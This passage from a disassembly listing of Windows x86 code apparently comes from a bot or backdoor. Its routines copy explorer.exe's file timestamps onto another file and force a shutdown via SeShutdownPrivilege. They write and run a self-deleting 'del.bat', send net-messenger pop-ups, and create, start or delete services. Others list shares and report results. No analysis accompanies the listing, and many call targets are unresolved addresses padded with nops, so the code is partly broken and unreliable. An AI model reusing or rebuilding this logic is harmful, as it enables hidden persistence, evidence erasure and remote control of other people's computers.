--------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB060 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 27F06A1h push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi call near ptr 27F0000h nop push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEE4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB074, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h nop call near ptr 2690000h lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax nop call near ptr 26F09A7h mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 26E0000h nop push edi nop call near ptr 26508C8h push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D158 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 2670C94h push eax call near ptr 2660000h nop lea eax, [ebp+var_15C] push eax call near ptr 2670B81h nop cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax nop call near ptr 2670AA6h loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 2800000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2650C14h loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26C05C3h cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAF24 push edi push eax call dword_4CAF34 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_4389BC loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 267064Ch nop push eax push offset unk_438994 jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_438964 push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26C05C3h cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" call near ptr 2690BE7h nop mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26A0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi call near ptr 2780000h nop mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 268068Bh push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389E0[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389DC[esi] push offset unk_438AF0 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DB020 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438AC4 jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DB020 push off_4389D8[eax*4] push offset unk_438AA0 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF98 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 267064Ch mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE80 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 267064Ch mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEEC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE88 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEF0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 267064Ch mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE9C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE9C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA960 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA960 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA960 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF98 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF64 test eax, eax jnz short loc_4189CD nop call near ptr 267064Ch cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE9C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389D8[eax*4] push offset unk_439084 push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DAC1C push off_4389DC[eax*4] push offset dword_439068 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DAC1C lea eax, [eax+eax*2] push off_4389D8[eax*4] push offset unk_439044 push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DAE1C, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DAE1C, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DABBC, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DABBC push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DABBC pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE98 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE70 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEE8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_4390D0 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE8C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB034 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DAE20 push off_4389DC[eax*4] push offset unk_439188 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, 